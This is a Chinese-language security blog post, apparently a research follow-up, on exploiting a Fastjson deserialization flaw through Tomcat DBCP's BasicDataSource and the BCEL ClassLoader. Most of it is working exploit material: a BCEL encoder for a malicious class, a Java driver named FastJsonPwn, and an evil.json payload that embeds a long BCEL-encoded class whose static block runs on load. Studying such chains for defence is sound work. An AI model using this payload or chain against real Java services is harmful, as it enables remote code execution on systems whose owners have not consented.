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FastJson反序列化漏洞(续)

之前写了篇fastjson反序列化漏洞的分析文章，见 Fastjson反序列化漏洞研究 ,最近
读了这篇文章 DefineClass在Java反序列化当中的利用深受启发，学习到了另外的利用姿势.本来很早就应该填的坑，因为一些琐事导致现在才更:(
作者文章写的很好，只是有些点以及代码没有完全给出来，所以需要自己去测试。
details

在上面的文章中作者是利用了tomcat-dbcp.jar组件中org.apache.tomcat.dbcp.dbcp.BasicDataSource类的Class.forName()方法，关于Class.forName执行代码的方法，有两种（作者也在文章中介绍了），这个Class.forName是关键，它可以设置classLoader和classname，从而加载.class文件，恶意的.class中静态代码块儿static{}会执行。下面给出文章中一些缺少的代码。关于ClassLoader的机制可以参考@frozenme女装大佬的文章(很棒)：P

package FastJsonDemo;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class BCELencode {
    public static void main(String []args) throws Exception{
        //There also should be compiled class file,not java file
        Path path = Paths.get("/Users/m0rk/Desktop/tmp/untitled/src/FastJsonDemo/evil.class");
        byte[] data = Files.readAllBytes(path);
        String s =  Utility.encode(data,true);
        System.out.print(s);
    }
}

这里用于将evil.class文件进行BCEL编码。

在作者的poc的基础上精简了一下，读取json文件触发漏洞。

package FastJsonDemo;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import jdk.internal.dynalink.support.TypeUtilities;

import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.FileInputStream;
import java.io.BufferedReader;


public class FastJsonPwn  {

    public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
        InputStream is = new FileInputStream(filePath);
        String line; // 用来保存每行读取的内容
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        line = reader.readLine(); // 读取第一行
        while (line != null) { // 如果 line 为空说明读完了
            buffer.append(line); // 将读到的内容添加到 buffer 中
            buffer.append("/n"); // 添加换行符
            line = reader.readLine(); // 读取下一行
        }
        reader.close();
        is.close();
    }

    public static void main(String[] args) throws Exception{
        String s = "java.lang.Thread";
        //long hash = TypeUtilities.fnv1a_64(s);

        //Class.forName("FastJsonDemo.Run");

//        String classname = "org.apache.log4j.spi$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A";
//        ClassLoader cls = new com.sun.org.apache.bcel.internal.util.ClassLoader();
//        Class.forName(classname, true, cls);
        //note  project must contain dbcp external lib
//        String poc = " {/n" +
//                "/t/t/t/"@type/": /"org.apache.tomcat.dbcp.dbcp.BasicDataSource/",/n" +
//                "/t/t/t/"driverClassLoader/": {/n" +
//                "/t/t/t/t/"@type/": /"com.sun.org.apache.bcel.internal.util.ClassLoader/"/n" +
//                "/t/t/t},/n" +
//                "/t/t/t/"driverClassName/": /"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A/"/n" +
//                "/t/t}/n";
        StringBuffer Buffer = new StringBuffer();
        FastJsonPwn.readToBuffer(Buffer,"/Users/m0rk/Desktop/tmp/untitled/src/FastJsonDemo/evil.json");
        Object obj= JSON.parseObject(Buffer.toString());

evil.json

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$Q$fe$ce$deZJq$97$C$a2$e0$F$Qq$Xe$eb$V$_$m$8a$Lh$b2h$8c$r$90$V$ff$9c$z$tP$ed$b6$b5$3d$cb$e5Q$7c$C$S$ff$n$J$Q$8d$3e$80$Pe$9c6$h$40$dc$3fg$ce$f9$e6$9b$99o$a6$d3$df$7f$be$ff$Cp$l$af4$f4aT$c1u$N$v$8cv$d01$a6$e2Fl$8b$wJ$g$c6qS$83$8e$5b$w$sb$5bV$60$aa$b8$ad$e2$8e$8a$bb$w$eei$94$e2A$7cL$wx$a8$a1$H$8f$U$3cf$c8$c9$8dP$f05$Gc$f1$p$df$e4$a6$cb$bdus$v$c1$a6$Y$d2v$e3$8c$cb$92$a1$e3$ad$93$x7$edx$8e$9c$nN$b1$b4$cc$90$a9$f8k$82$n$bf$e8x$e2M$b3Q$X$e1$S$af$bb$84$a8$d3$b6$dbbvY$92$db$9f$5e$f3$mq$vxBJ$Y4$cbo$86$b6Xpbv$87$d8t$dcr$5cN$c7$A$G$J$98$T$N$df$8cQ$j$e7$d1$cf0$ec$H$c2$h2g$83$c0ul$$$j$df$8b$cc$Kw$ed$a6$cb$a5$l$96y$Q$e8$b8$80$8b$M$8a$l$95$3d$de$a0$3aS$3a$a6$f1T$c7$M$9e$91$dc$z$c7$d3$f1$i$b3$M$85$b3mQ$Q5$5c$W$db$a4$qe$daT$dd$ac$3b$9eY$e7$d1$G$B$T$b6$82$X$3a$w$98$d31$8f$F$86$9e$93$f8$f9m$5b$E$b1$Y$j$_c$d9$85$b3$c3$q$f6j$bb1$9e$d6$b0$TI$d1$60$e8$5c$X$f2mHm$86r$87a$ac$f8$7fX$a9$5d$a6N$e9$_$fa$5b$o$ac$f0$88$e4$f7$W$db$92T$db$f7$qw$bc$88a$f0t$e2$ca$G$P$z$f1$b9$v$3c$5bL$95$de3t$9f$f8$de5$3d$e94$u$a7F$c2$8e$l$7d$ff$Uh$c1T$nC$d3$a3$c9$V$8bm$da$3d$jA$j$da$o$8a$u$o$l$90S$s$bb$b1$Ur$5b$60$98v$ba$8fv$3e$F$z$fe$e6t$d3$e2O$9a$m$y$5e$L$3a$_$d1$eb2YF6$3b$7e$I$b6G$XF$Q$90K$c04T$5c9$a6$7eE$sA$3f$fc$40$aav$88$f4$3e2Fv$l9C9$82z$80$OC$3b$40$e7$X$M$e4$7eB$af$a5$8d$$$ab$961$ceY$b5$ec7$e4$ac$5d$f4$b7$e0$7c$M$XZp$f5$I$dd$e3$H0Vv$a1V$e9$d2$bbG$V$f2$b0$b0L$3fW$wQ2B$g$40$955d$c9$a3$a1$8a$$$f2w$T$p$8f$V$U$b0J$cc$ab$c4$d0$91$99$b4$U$MU$V$M$c7$3aG$92V$af$fd$F$N$5c$a2N$fb$D$A$A"
}

FastJson反序列化漏洞(续) 其它可能用到的代码已经放到 github